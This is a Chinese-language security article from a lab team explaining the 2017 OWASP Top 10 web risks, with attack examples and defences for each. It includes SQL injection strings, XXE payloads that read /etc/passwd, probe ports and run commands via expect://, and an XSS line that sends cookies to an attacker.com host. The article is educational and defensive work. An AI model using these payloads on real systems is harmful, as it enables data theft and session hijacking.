2017年OWASPTop10技术解析

天融信阿尔法实验室   雨夜 韩鹏

一、OWASP介绍

OWASP是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。其使命是使应用软件更加安全,使企业和组织能够对应用安全风险作出更清晰的决策。目前OWASP全球拥有220个分部近六万名会员,共同推动了安全标准、安全测试工具、安全指导手册等应用安全技术的发展。

二、 2013版到2017版的改变

11.[mg

在过去的几年中,应用程序的基础技术和结构发生了重大变化,一些成熟的框架被大量使用,JS框架(如Angular、React)编写的单页应用程序,允许创建高度模块化的前端用户体验;原来交付服务器端处理的功能现在变为由客户端处理。

由于更多的平台添加了CSRF防御,所以发现CSRF漏洞的应用程序不到5%,同时只在8%左右的应用程序中发现未验证的重定向和转发漏洞,因此这两项排在了top10之外,但仍然是需要关注的重要风险。

2013年排名第三的XSS在2017年只排名第七名,其中除了开发者对XSS的防范意识加强之外另一個关键的原因在于,目前有很多自动化的扫描工具,都已经内建XSS扫描,可以加快漏洞修补速度,使得整体XSS漏洞数量看起来比以往少,但XSS风险却没有因此减少。

新添加的项包括XXE、不安全的反序列化和不足的日志记录和监控,而后者对于许多组织来说是个严重的问题。

三、TOP10概要介绍

2017年版的《OWASP Top 10》主要基于超过 40家专门从事应用程序安全业务的公司提交的数据,以及500位以上 个人完成的行业调查。这些数据包含了从数以百计的组织和超过10万个实际应用程序和API中收集的漏洞。前10大风险 项是根据这些流行数据选择和优先排序,并结合了对可利用性、可检测性和影响程度的一致性评估而形成。

《OWASP Top 10》的首要目的是教导开发人员、设计人员、架构师、管理人员和企业组织,让他们认识到最严重Web应用漏洞。

A1: 2017-Injection(注入)

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预 期命令或访问数据。

A2:2017-BrokenAuthentication(失效的身份认证)

通常通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

A3:2017-Sensitive DataExposure(敏感数据泄露)

许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可 以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据 容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据 以及浏览器的交互数据。

A4:2017-XML ExternalEntities(外部实体)(XXE)

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃 取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻 击。

A5:2017-Broken AccessControl(失效的访问控制)

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数 据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

A6:2017-Security Misconfiguration(安全配置错误)

安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云 存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所 有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

A7:2017-Cross-SiteScripting(XSS)(跨站脚本)

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或 JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器 中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

A8:2017-InsecureDeserialization(不安全的反序列化)

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以 利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

A9:2017-Using Components with Known Vulnerabilities(使用含有已知漏洞的组件)

组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏 洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组 件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

A10:2017-Insufficient Logging & Monitoring(不足的日志记录和监控)

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持 续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超 过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

四、TOP10详细介绍

4.1 Injection(注入)

4.1.1介绍

注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能在SQL查询、LDAP查询、OS命令、程序参数等中出现。

4.1.2攻击案例

1. 应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据:

String query = “SELECT * FROM accounts WHERE custID=’” + request.getParameter(“id”) +”‘”;

其中id为可控参数,攻击者如果将id参数值修改为id = 1′ or ’1′=’1′, 这样查询语句的意义就变成了从accounts表中返回所有的记录。

以dvwa为例:

QQ截图20171214112831

正常情况输入1,点击确定查询返回相应的数据。

20171214112734

输入1’,点击确定。

QQ截图20171214112548

报错,可以看到,提示数据库类型是mysql,出错的位置就是刚刚输入1’。说明参数id可能存在注入。

5

输入 1’ or ‘1’=’1 查询,可以得到所有的用户信息。

6

利用union select 1,concat(user(),0×20,database(),0×20,version())# 可以获取到数据库的基本信息,如:数据库用户、数据库库名、数据库版本。

4.1.3防御方法

防止注入漏洞需要将数据与命令语句、查询语句分隔开来。

1. 采用sql语句预编译和绑定变量,是防御sql注入的最佳方法。

2. 使用安全的API,避免使用解释器。

3、尽量避免在存储过程中使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据

4、检查输入数据的类型并使用安全函数在很大程度上可以对抗SQL注入

5、在查询中使用LIMIT和其他SQL语句进行控制,以防止在SQL注入时泄露大量地记录。

4.2 失效的身份认证 (Broken Authentication)

4.2.1漏洞介绍

在应用程序中,如果验证和会话(Session)管理的功能没有正确实现时,攻击者可以窃取用户密码,会话令牌或利用其他漏洞来伪装成其他用户身份。

4.2.2攻击案例

1. 2016年facebook创始人扎克伯格由于使用了简单的通用密码“dadada”导致多个社交账号遭到黑客组织攻击,其中包括:推特、Pinterest和LinkedIn。

2. 不安全的密码存储(包括明文、可逆加密的密码和弱散列密码(例如使用MD5/SHA1或不加盐))可能导致泄漏。最近,研究人员在不到三周的时间里破解了3.2亿密码,其中包括复杂密码。

3. 应用会话超时设置不正确。用户使用公共计算机访问应用程序。用户直接关闭浏览器选项卡就离开,而不是选择“注销”。攻击者一小时后使用同一个浏览器浏览网页,而当前用户状态仍然是经过身份验证的。

4.2.3防御方法

1. 使用多因素身份验证,以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。

2. 不要使用部署时默认的密码,特别是管理员用户。

3. 执行弱密码检查,例如测试新账户或变更的密码,排除使用“排名前10000个弱口令” 列表中的密码。

4. 确保密码长度、复杂性和循环策略

5. 限制失败的登录次数。记录所有失败信息并在检测到凭据填充、暴力破解或其他攻击时提醒管理员。

6. 使用服务器端安全的内置会话管理器,在登录后生成高度复杂的随机会话ID。会话ID不能在URL中,可以安全地存储并在登出、闲置、绝对超时后使其失效。

4.3 Sensitive DataExposure(敏感数据泄露)

4.3.1介绍

许多web应用程序和API不能正确的保护敏感数据,如金融、医疗保健和PII(个人身份信息)等。攻击者可能会窃取或篡改这些弱保护的数据,从而进行信用卡欺诈、身份盗窃或其他犯罪行为。在缺少额外保护(例如,在存放和传输过程中加密,且在与浏览器进行交换时需要特别谨慎)的情况下,敏感数据可能会受到损害。

4.3.2攻击案例

1. 通过github等网站。有些程序员会把源码放在github上进行保存,而那些源码中很有可能存在敏感数据,如邮箱密码、数据库密码等。

7

2. 一个网站上所有需要身份验证的网页都没有使用 SSL 加密。攻击者只需要监控网络数据流(比如一个开放的无线网络或其社区的有限网络),并窃取一个已验证的受害者的会话 Cookie. 攻击者利用这个 Cookie 执行重放攻击并接管用户的会话,从而访问用户的隐私数据。

3. 一个应用程序使用自动化的数据加密系统加密信用卡信 息,并存储在数据库中。但是,当数据被检索时被自动解密,这就使得SQL注入漏洞能够以明文形式获得所有信用卡考号。

4. 密码数据库使用未加盐的哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些未加盐哈 希的密码通过彩虹表暴力破解方式破解。

4.3.3防御方法

对一些需要加密的敏感数据,应该做到以下几点:

1.对系统处理、存储或传输的数据分类,并根据分类进行访问控制。

2.熟悉与敏感数据保护相关的法律和条例,并根据每项法规要求保护敏感数据。

3.对于没必要存储的、重要的敏感数据,应当尽快清除。

4.确保传输过程中的数据被加密,如使用TLC。确保数据加密被强制执行,如使用HSTS。

5.确保使用密码专用算法存储密码,如:Argon2、scrypt 、bcrypt或者PBKDF2。将工作因素(延迟因素)设置在可接受范围。

6.禁止缓存对包含敏感数据的响应。

7.单独验证每个安全配置项的有效性。

4.4 XML外部实体 (XML External Entities)(XXE)

4.4.1攻击介绍

攻击者能够利用XML缺陷成功访问 Web页面或者Web服务,特别是基于 Web服务的SOAP。许多过时的或配置不当的XML处理器在XML文档内进行外部实体引用。外部实体可用于泄露内部文件,通过使用文件URI处理器、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击等手段。

4.4.2攻击案例

1. 攻击者从服务端获取数据

<?xml version=”1.0″ encoding=”ISO-8859-1″?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

2. 探测内网端口

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&xxe;</name>

</root>

3. 执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

<?xml version=”1.0″ encoding=”utf-8″?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<root>

<name>&xxe;</name>

</root>

4.4.3防御方法

1. 在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。

2. 实施积极的(“白名单”)输入验证、过滤和清理,以防止在 XML文档、标题或节点中出现恶意数据。

3. 验证XML或XSL文件上传功能是否使用XSD验证或其他类似验证方法来验证上传的XML文件。

4. 及时修复或更新应用程序或底层操作系统所使用的XML处理器和库。

5. 尽可能使用简单的数据格式(如:JSON),避免对敏感数据进行序列化。

6. 在服务器端实施积极的(“白名单”)输入验证、过滤和清理, 以防止在XML文档、标题或节点中出现恶意数据。

4.5 Broken AccessControl(失效的访问控制)

4.5.1介绍

限制“认证的用户可以实现哪些操作”的命令没有得到正确的执行。攻击者可以利用这些漏洞访问未经授权的功能和数据,例如访问其他用户的账户,查看敏感文件,篡改其他用户的数据,更改访问权限等。

4.5.2攻击案例

1. 应用程序在访问帐户信息的 SQL调用中使用了未经验证的数据:

pstmt.setString(1,request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery( );

攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号信息。如果没有正确验证,攻击者可以访问任何用户的帐户。

8

2. 攻击者仅强制浏览目标URL。管理员权限是访问管理页面所必需的。如果一个未经身份验证的用户可以访问任何页面,那么这是一个缺陷。如果一个非管理员权限的用户可以访问管理页面,那么这同样也是一个缺陷。

9

4.5.3防御方法

1. 除公有资源外,默认情况下拒绝所有访问。

2. 使用一次性的访问控制机制,并在整个应用程序中不断重用它们。

3. 建立访问控制模型以强制执行所有权记录,而不仅仅是记录用户创建、读取、更新或删除的操作。

4. 禁用 Web服务器目录列表,并确保文件元数据(如:git)不存在于Web的根目录中。

5. 记录失败的访问控制,并及时向管理员告警

6. 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害。

4.6 安全配置错误 (Security Misconfiguration)

4.6.1漏洞介绍

通常攻击者能够通过未修复的漏洞、访问默认账户、不再使用的页面、未受保护的文件和目录等来取得对系统的未授权的访问或了解。

错误的安全配置可以发生在一个应用程序的任何层 面,包括网络服务、平台、Web服务器、应用服务器、数据库、框架、自定义代码和预安装的虚拟机、容器 和存储。这些漏洞使攻击者能经常访问一些未授权的系统数据或功能。有时,这些漏洞导致系统被完全攻破。

4.6.2攻击案例

1. 应用程序服务器管理员控制台自动安装后没有被删除。 而默认帐户也没有被改变。攻击者在你的服务器上发现了标准的 管理员页面,通过默认密码登录,从而进入了你的服务器。

2. 目录列表在你的服务器上未被禁用。攻击者发现只需列出目录,她就可以找到你服务器上的任意文件。攻击者找到并下载所有已编译的可执行文件,并通过反编译获得了所有源代码。 然后,在你的应用程序中找到一个访问控制的严重漏洞。

3. 应用服务器配置允许调试跟踪信息返回给用户,这样就暴露了潜在的漏洞。如已知的有漏洞的框架版本。

4. 应用服务器自带的示例应用程序没有从你的生产服务器中删除。该示例应用有已知安全漏洞,攻击者可以利用这些漏洞破坏你的服务器。

5. 默认配置或从别处拷贝来的老配置项激活了一个老的、含漏洞的协议或安全选项。这些是可被攻击者或恶意软件利用的。

4.6.3防御方法

1. 移除或不要安装任何不需要的功能、组件、文档和示例。移除不适用的依赖和框架。

2. 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。 开发、质量保证和生产环境都应该进行相同配置,并且,在每个环境中使用不同的密码。这个过程应该是自动化的,以尽量减少安装一个新安全环境的时间。

3. 检查和修复安全配置项来适应最新的安全说明、更新和补丁,并将其作为更新管理过程的一部分,在检查过程中,应特别注意云存储权限。

4.7 Cross-SiteScripting(XSS)跨站脚本攻击

4.7.1介绍

如果应用程序在未经适当验证或转义的情况下,能够在新网页中包含不受信任的数据,或是使用可以创建HTML或者JavaScript的浏览器API更新包含用户提供的数据的现有网页,就会出现XSS漏洞。XSS允许攻击者在受害者的浏览器中执行脚本,这些脚本可以劫持用户会话、破坏网站或将用户重定向到恶意网站中。

4.7.2攻击案例

1. 应用程序在下面H TML代码段的构造中使用未经验证或转义的不可信的数据:

( String ) page += “<input name=’creditcard’ type=’TEXT‘ value=’” + request.getParameter(“CC”) + “‘>”;

攻击者在浏览器中修改“CC”参数为如下值:

‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie</script>’.

这个攻击导致受害者的会话ID被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。

以dvwa为例:

10

11

由于系统没有对输入进行过滤,当输入<script>alert(111)</script>时,该代码就会嵌入到html页面中,从而触发xss漏洞。

利用XSS漏洞窃取cookie:

12

在XSS平台创建个项目,生成利用代码。

13

输入恶意代码点击确定,将恶意代码嵌入到页面中。

14

然后在XSS平台上就可以接收到cookie信息了。

15

4.7.3防御方法

1. 防止XSS需要将不可信数据与动态的浏览器内容区分开。

2. 对所有不可信的输入数据进行恰当的转义。

3. HttpOnly防止劫取Cookie

4. 输出检查,包括标签输出、属性输出

5. 使用内容安全策略(CSP)是对抗XSS的深度防御策略。

4.8 不安全的反序列化 (Insecure Deserialization)

4.8.1漏洞介绍

序列化的目的是将对象转化成字节流,方便存储或者网络上传输。从字节码组装成对象的过程叫做反序列化。不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重放攻击、注入攻击和特权升级攻击。

4.8.2攻击案例

1. 2015年的Apache Commons Collections 反序列化远程命令执行漏洞,其当时影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。一个精心构造的TransformedMap,在其任意键值被修改时,可以触发变换,从而执行任意命令。

2. 2016年Spring RMI反序列化漏洞

国外的研究人员zero thoughts发现了一个Spring框架的反序列化远程代码执行漏洞。
spring-tx.jar包中的org.springframework.transaction.jta.JtaTransactionManager类存在JNDI反序列化问题。只要创建一个JtaTransactionManager 对象让userTransactionName指向我们注册的RMI链接(如rmi://x.x.x.x:1099/Object)然后将对象发送到有漏洞的服务器,即可执行远程命令。

4.8.3防御方法

1. 不接受来自非可信源的序列化对象,或使用只允许原始数据类型的序列化媒体。

2. 执行完整性检查,如:任何序列化对象的数字签名,以防止恶意对象创建或数据篡改。

3. 在创建对象之前强制执行严格的类型约束,因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明,所以完全依赖于它是不可取的。

4. 隔离反序列化的代码,使其在非常低的特权环境(如:临时容器)中运行。

5. 记录反序列化的例外情况和失败信息,如:传入的类型不是预期的类型,或者反序列处理引发的例外情况。

6. 限制或监视来自容器或服务器传入和传出的反序列化网络连接。

4.9 Using Components with Known Vulnerabilities(使用含有已知漏洞的组件)

4.9.1介绍

组件(如库、框架和其他软件模块)是以与应用程序相同的权限运行的。如果存在漏洞的组件被利用,这种攻击可能会导致严重的数据丢失或服务器接管危机。使用已知漏洞组件的应用程序和API可能会破坏应用程序的防御系统,从而启动各种形式的攻击,造成更为严重的影响。

4.9.2攻击案例

1. 很多时候组件都是以最高权限运行的,这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是一些偶然的(如编码错误)也可能是蓄意的(如组件里的后门)。下面是一些发布具有可以被利用漏洞的组件:struts2组件,apache组件,weblogic组件。

以s2-016漏洞举例:

在struts2 中,DefaultActionMapper 类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式, 由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。redirect:和 redirectAction:此两项前缀为 Struts 默认开启功能,目前 Struts 2.3.15.1 以下版本均存在此漏洞。

16

 这是S2-016的漏洞环境。该漏洞可造成命令执行。

17

通过输入漏洞利用payload,获取到了系统信息。

4.9.3防御方法

1. 移除不使用的依赖、不需要的功能、组件、文件和文档。

2. 利用工具如 versions、DependencyCheck、retire.js等来持续的记录客户端和服务器端以及它们的依赖库的版本信息

3. 对使用的组件持续监控并及时更新至最新版

4. 在适当情况下,对组件进行安全封装,精简不必要的功能,封装易受攻击部分。

5. 很多老的不再支持的库和组件并没有安全升级 这种情况下,可以考虑使用虚拟补丁技术去检测或保护。

4.10 不足的日志记录和监控 (Insufficient Logging & Monitoring)

4.10.1漏洞介绍

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。如:未对登录、登录失败和高额交易等记录可审计性事件进行记录;告警和错误事件未能产生或产生不完整的日志信息。

4.10.2攻击案例

案例#1:一个由小团队运行的开源项目被攻击者利用其内在漏洞攻击了。 攻击者设法删除了包含下一个版本的内部源代码存储库以及所有论坛内容。虽然代码可以恢复,但缺乏监测、 记录和警报,从而导致了更严重的后果。

案例#2:攻击者使用通用密码进行用户扫描并能获取所有使用此 密码的账户。对于其他账户而言,将仅有一次失败的登陆尝试记录。一段时间以后,攻击者可以用另一个密码再次进行此尝试。

4.10.3防御方法

1. 确保所有登录行为都能够被记录到日志中去,并保留足够的用户关联信息,以识别可疑或恶意帐户,并为后期取证提供依据。

2. 确保日志以一种能被集中日志管理解决方案使用的形式生成

3. 确保高额交易页面有完整的审计信息,以防止篡改或删除,例如审计信息保存在只能进行增加记录的数据库表中。

4. 建立有效的监控和告警机制,使可疑行为在第一时间内被发现和处理。

五、总结论述

Top 10 的风险评级方法基于《OWASP风险评级方法》。对于Top 10中每一项,是通过查看每个常见漏洞一般情况下的可能性因素和影响因素,评估了每个漏洞对于典型的Web应用程序造成的典型风险,然后根据漏洞给应用程序带来的风险程度的不同来对Top 10进行分级。随着变化,这些因素会随着每一个新的Top 10发布而更新。

Written by